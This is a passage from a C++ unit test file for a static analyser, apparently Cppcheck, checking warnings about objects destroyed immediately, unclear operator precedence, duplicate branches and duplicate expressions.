{\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a[5].v[3]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:17]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: 